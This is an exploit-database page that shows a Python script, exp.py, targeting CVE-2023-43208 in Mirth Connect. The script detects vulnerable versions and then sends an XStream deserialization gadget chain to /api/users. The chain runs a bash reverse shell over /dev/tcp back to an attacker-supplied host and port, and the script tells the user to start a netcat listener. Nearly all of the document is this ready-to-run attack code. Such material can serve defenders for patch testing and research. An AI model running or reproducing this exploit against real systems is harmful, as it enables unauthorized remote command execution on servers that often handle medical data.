Exploit databaseDownload repository ZIP
GH-fc39b0226faeda059e5d287505113678
predyy/cve-2023-43208
Sources for CVE-2023-43208
12 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
predyy/cve-2023-43208Revision ae5ec89e713b
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exp.py
Python · 8,625 bytesimport os
import time
import socket
import argparse
import requests
import threading
from packaging import version
# Disable SSL warnings
requests.packages.urllib3.disable_warnings(
requests.packages.urllib3.exceptions.InsecureRequestWarning
)
class MirthConnectExploit:
def __init__(self):
self.execution_process = "/api/users"
self.grab_version = "/api/server/version"
self.headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 14.0; rv:109.0) Gecko/20100101 Firefox/118.0",
"X-Requested-With": "OpenAPI",
"Content-Type": "application/xml",
}
self.use_http = False
def normalize_url(self, url):
"""Add scheme based on protocol setting"""
if self.use_http:
if not url.startswith(('http://', 'https://')):
url = 'http://' + url
else:
if not url.startswith(('https://', 'http://')):
url = 'https://' + url
elif url.startswith('http://'):
url = 'https://' + url[7:]
return url.rstrip('/')
def detect_mirth_connect(self, target):
"""Detect if target is running Mirth Connect"""
print("[*] Looking for Mirth Connect instance...")
try:
response = requests.get(target, timeout=10, verify=False)
if "Mirth Connect Administrator" in response.text:
print("[+] Found Mirth Connect instance")
return True
else:
print("[-] Mirth Connect not found")
except requests.exceptions.RequestException as e:
print(f"[-] Error while trying to connect to {target}: {e}")
return False
def is_vulnerable_version(self, version_str):
"""Check if version is vulnerable"""
try:
parsed_version = version.parse(version_str.strip())
if isinstance(parsed_version, version.Version):
fixed_version = version.parse("4.4.1")
if parsed_version < fixed_version:
return version_str.strip()
except:
pass
return None
def detect_vuln(self, target):
"""Detect if target is vulnerable"""
if self.detect_mirth_connect(target):
try:
response = requests.get(
target + self.grab_version,
headers=self.headers,
timeout=10,
verify=False,
)
if response and response.text:
vuln_version = self.is_vulnerable_version(response.text)
if vuln_version:
print(f"[+] Vulnerable Mirth Connect version {vuln_version} instance found at {target}")
return True
except requests.exceptions.RequestException as e:
print(f"[-] Error fetching version information from {target}: {e}")
return False
@staticmethod
def build_xml_payload(command):
"""Build the XML payload for the exploit"""
# XML escape the command
command = command.replace("&", "&")
command = command.replace("<", "<")
command = command.replace(">", ">")
command = command.replace('"', """)
command = command.replace("'", "'")
xml_data = f"""<?xml version="1.0" encoding="UTF-8"?>
<sorted-set>
<string>abcd</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
<target class="org.apache.commons.collections4.functors.ChainedTransformer">
<iTransformers>
<org.apache.commons.collections4.functors.ConstantTransformer>
<iConstant class="java-class">java.lang.Runtime</iConstant>
</org.apache.commons.collections4.functors.ConstantTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>getMethod</iMethodName>
<iParamTypes>
<java-class>java.lang.String</java-class>
<java-class>[Ljava.lang.Class;</java-class>
</iParamTypes>
<iArgs>
<string>getRuntime</string>
<java-class-array/>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>invoke</iMethodName>
<iParamTypes>
<java-class>java.lang.Object</java-class>
<java-class>[Ljava.lang.Object;</java-class>
</iParamTypes>
<iArgs>
<null/>
<object-array/>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>exec</iMethodName>
<iParamTypes>
<java-class>java.lang.String</java-class>
</iParamTypes>
<iArgs>
<string>{command}</string>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
</iTransformers>
</target>
<methodName>transform</methodName>
<eventTypes>
<string>compareTo</string>
</eventTypes>
</handler>
</dynamic-proxy>
</sorted-set>"""
return xml_data
def exploit(self, target, lhost, lport):
"""Execute the exploit"""
target = self.normalize_url(target)
protocol = "HTTP" if self.use_http else "HTTPS"
print(f"[*] Using {protocol} protocol")
if self.detect_vuln(target):
# Create reverse shell command
command = f"sh -c $@|sh . echo bash -c '0<&53-;exec 53<>/dev/tcp/{lhost}/{lport};sh <&53 >&53 2>&53'"
print(f"[!] Executing command: {command}")
xml_data = self.build_xml_payload(command)
try:
print(f"[*] Launching exploit against {target}...")
response = requests.post(
target + self.execution_process,
headers=self.headers,
data=xml_data,
timeout=20,
verify=False,
)
print(f"[+] Exploit sent to {target}")
print("[!] Check your netcat listener for the shell!")
except requests.exceptions.RequestException as e:
print(f"[-] Exploit failed for {target}: {e}")
def run(self):
"""Main execution function"""
parser = argparse.ArgumentParser(
description="CVE-2023-43208 - Mirth Connect Remote Code Execution (RCE) Exploit"
)
parser.add_argument("-u", "--url", required=True, help="Target URL to exploit")
parser.add_argument("-lh", "--lhost", required=True, help="Listening host for reverse shell")
parser.add_argument("-lp", "--lport", required=True, help="Listening port for reverse shell")
parser.add_argument("--http", action="store_true", help="Force HTTP instead of HTTPS")
args = parser.parse_args()
self.use_http = args.http
print("CVE-2023-43208 - Mirth Connect Remote Code Execution (RCE) Exploit")
print()
print("[+] Original Coded By: K3ysTr0K3R and Chocapikk")
print("[+] Minimal Dependency Version By: predyy")
print()
print(f"[*] Target: {args.url}")
print(f"[*] LHOST: {args.lhost}")
print(f"[*] LPORT: {args.lport}")
print("[!] Make sure your netcat listener is running!")
print(f"[!] Command: nc -lvnp {args.lport}")
print()
response = input("[?] Ready to proceed? (y/n): ")
if response.lower() == 'y':
self.exploit(args.url, args.lhost, args.lport)
else:
print("[-] Exploit cancelled")
if __name__ == "__main__":
exploit_tool = MirthConnectExploit()
exploit_tool.run()